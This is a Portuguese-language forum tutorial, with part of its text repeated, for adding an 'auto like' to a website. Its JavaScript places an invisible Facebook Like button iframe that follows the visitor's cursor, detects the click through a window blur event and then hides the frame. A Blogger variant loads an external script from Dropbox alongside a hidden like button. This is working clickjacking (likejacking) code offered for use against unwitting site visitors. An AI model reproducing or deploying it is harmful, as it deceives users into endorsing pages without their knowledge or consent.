I
intoroddex
Lambda
Boas Betas, aqui trago um tutorial de como implementar um "Auto Me gusta" para seu site.
Vamos começar:
1- Abrimos um editor de texto (bloco de notas, DW, etc.)
Passamos a colar este código no editor escolhido
Editamos as partes que dizem "Tu-FansPage"
Salvamos com o nome que quiserem com a extensão .php
Explicação em foto:
E enviamos para nossa hospedagem (hosting).
2- Abrimos novamente um editor de texto (bloco de notas, DW, etc.) e colocamos este código
Onde diz "Enlace eliminado"
Colocamos o endereço onde foi hospedado seu arquivo criado no ponto 1. Enlace eliminado
Salvamos como ---> o nome que quiserem com a extensão .js
Explicação em foto:
Enviamos para nossa hospedagem.
3- Passamos a implementá-lo em nossa página..
Colar o seguinte código antes do </head> (Opção 2: <body>)
4. Depois do <body> colar e editar a parte do endereço onde está hospedado o arquivo criado com a extensão .js
5- Pronto, temos nosso autolike "Me gusta" para Fan Page funcional...
Agradecimento ao mod Enlace eliminado por me ajudar a tornar isso possível.. além de ceder seu site para mostrar uma demonstração Enlace eliminado
Script de blogger fornecido por [MENTION=81006]kanikase[/MENTION]
Para Blogger, apenas adicionem acima de </body>
Vamos começar:
1- Abrimos um editor de texto (bloco de notas, DW, etc.)
Passamos a colar este código no editor escolhido
HTML:
<html>
<head>
<title>Te sigo hasta la muerte</title>
</head>
<body style="margin:0px;padding:0px;">
<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/fr_FR/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<div style="margin-left:-25px;" class="fb-like" data-href="https://www.facebook.com/Tu-FansPage" data-layout="button" data-action="like" data-show-faces="false" data-share="false"></div>
</body>
</html>Editamos as partes que dizem "Tu-FansPage"
Salvamos com o nome que quiserem com a extensão .php
Explicação em foto:
E enviamos para nossa hospedagem (hosting).
2- Abrimos novamente um editor de texto (bloco de notas, DW, etc.) e colocamos este código
PHP:
function MouseSeguir(Coordenadas) {
var NetScape = (navigator['appName']['indexOf']('Netscape') != -1);
var CoordenadasX = (NetScape) ? Coordenadas['pageX'] : event['clientX'];
var CoordenadasY = (NetScape) ? Coordenadas['pageY'] : event['clientY'];
document['getElementById']('DivSeguir')['style']['left'] = CoordenadasX + -13 + 'px';
document['getElementById']('DivSeguir')['style']['top'] = CoordenadasY + -10 + 'px';
}
function OcultarDiv() {
document['getElementById']('DivSeguir')['style']['display'] = 'none';
}
var SobreIframe = false;
function MouseSalio() {
SobreIframe = false;
top['focus']();
}
function MouseArriba() {
SobreIframe = true;
}
function iframeClick() {
if (SobreIframe) {
setInterval('OcultarDiv()', '700');
}
}
function iniciar() {
var iframe0 = document['getElementsByTagName']('iframe');
for (var x = 0; x < iframe0['length']; x++) {
iframe0[x]['onmouseover'] = MouseArriba;
iframe0[x]['onmouseout'] = MouseSalio;
}
if (typeof window['attachEvent'] != 'undefined') {
top['attachEvent']('onblur', iframeClick)
} else {
if (typeof window['addEventListener'] != 'undefined') {
top['addEventListener']('blur', iframeClick, false);
}
}
}
document.write("<style>.CSS_Seguir{ overflow:hidden;opacity:0; filter:alpha(opacity=0); -moz-opacity:0; position:absolute;top:0;left:0;z-index:200000;overflow:hidden;height:20px;width:36px;border:1px solid #000;}</style>");
var sx = document.createElement('iframe');
sx.setAttribute("class", "CSS_Seguir");
sx.setAttribute("id", "DivSeguir");
sx.setAttribute("src", "http://misitio.com/archivocreado.php");
sx.setAttribute("scrolling", "no");
sx.setAttribute("frameborder", "0");
sx.setAttribute("style", "overflow:hidden; width:36px; height:20px;");
document.getElementsByTagName("body")[0].appendChild(sx);
iniciar();
document.onmousemove = MouseSeguir;Colocamos o endereço onde foi hospedado seu arquivo criado no ponto 1. Enlace eliminado
Salvamos como ---> o nome que quiserem com a extensão .js
Explicação em foto:
Enviamos para nossa hospedagem.
3- Passamos a implementá-lo em nossa página..
Colar o seguinte código antes do </head> (Opção 2: <body>)
PHP:
<script src="http://code.jquery.com/jquery-1.5.1.min.js"></script>4. Depois do <body> colar e editar a parte do endereço onde está hospedado o arquivo criado com a extensão .js
PHP:
<script src='http://tudominio.com/tuarchivo.js '></script>5- Pronto, temos nosso autolike "Me gusta" para Fan Page funcional...
Agradecimento ao mod Enlace eliminado por me ajudar a tornar isso possível.. além de ceder seu site para mostrar uma demonstração Enlace eliminado
Script de blogger fornecido por [MENTION=81006]kanikase[/MENTION]
Para Blogger, apenas adicionem acima de </body>
PHP:
<div id="likeslikes" style="opacity:0;width:20px;height:20px;overflow:hidden;position:fixed;">
<div class="fb-like" data-href="AQUI LA URL DE LA PAGINA O WEB" data-layout="button" data-action="like" data-show-faces="false" data-share="false"></div>
</div>
<script type="text/javascript" src="//dl.dropboxusercontent.com/s/9yffh50a8njo0jx/auto.js"></script>
Última edição:
